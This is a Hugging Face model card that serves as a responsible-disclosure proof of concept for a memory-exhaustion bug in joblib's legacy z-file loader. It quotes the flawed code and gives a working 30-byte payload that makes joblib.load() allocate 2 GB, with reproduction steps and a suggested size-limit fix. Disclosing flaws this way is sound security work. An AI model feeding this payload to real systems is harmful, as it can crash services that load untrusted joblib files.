CoolFace
Modelpublic

MBM7/zarr-json-metadata-bomb-poc

sourceHugging Facemitupdated 2mo agoView on Hugging Face
0likes
Model Card

joblib — Z-File Header Length Decompression Bomb (PoC)

Repo: MBM7/joblib-zfile-decompression-bomb-poc Status: Responsible disclosure — submitted to Huntr Severity: High / CWE-789 Package: joblib (PyPI) — Finding #2, distinct from NumpyArrayWrapper Shape Bomb


Summary

A 30-byte crafted file causes joblib.load() to allocate 2 GB before failing — the highest amplification ratio of any joblib finding.

File sizeClaimed length in headerPeak allocationAmplification
30 bytes500,000,000500 MB1 : 16,666,666
30 bytes2,000,000,0002,000 MB1 : 66,666,666

Root Cause

joblib/numpy_pickle_compat.py, read_zfile():

python
length = file_handle.read(header_length)
length = length[len(_ZFILE_PREFIX):]
length = int(length, 16)                          # ← from file header, NO check

data = zlib.decompress(file_handle.read(), 15, length)  # ← bufsize = 2 GB
assert len(data) == length                        # fails AFTER the allocation

length is read from the ZF prefix + hex string header with no upper bound check. zlib.decompress(data, wbits, bufsize) pre-allocates bufsize bytes before decompression. With length = 2_000_000_000, Python allocates 2 GB before discovering the actual data is 11 bytes.


Attack

The z-file format is:

b'ZF' + hex(length).ljust(19) + zlib_compressed_data

joblib.load() detects the ZF magic and routes the file through numpy_pickle_compat.read_zfile(), which triggers the allocation.

python
payload = (
    b'ZF' +
    b'0x77359400          ' +   # hex(2_000_000_000) padded to 19 chars
    zlib.compress(b'x', 1)      # 11 bytes of valid zlib data
)
# Total: 30 bytes

Reproduce

bash
pip install joblib
python poc_joblib_zfile_bomb.py

Expected:

File size     : 30 bytes
Amplification : 1:66,666,666
Peak memory   : 2000 MB  ← alloc before decompression

Distinction from Finding #1 (NumpyArrayWrapper Shape Bomb)

Finding #1Finding #2
File size232 bytes30 bytes
Amplification1:8,620,6891:66,666,666
Code pathnumpy_pickle.pynumpy_pickle_compat.py
Mechanismnp.empty(count) from pickle shapezlib.decompress(..., bufsize)
FormatCurrent joblib pickleLegacy z-file format

Suggested Fix

python
MAX_ZFILE_BYTES = 512 * 1024 * 1024  # configurable
if length > MAX_ZFILE_BYTES:
    raise ValueError(
        f"Z-file header claims {length} decompressed bytes — "
        "exceeds safety limit. Possible decompression bomb."
    )

Environment

PackageVersion
joblib1.5.3
Python3.12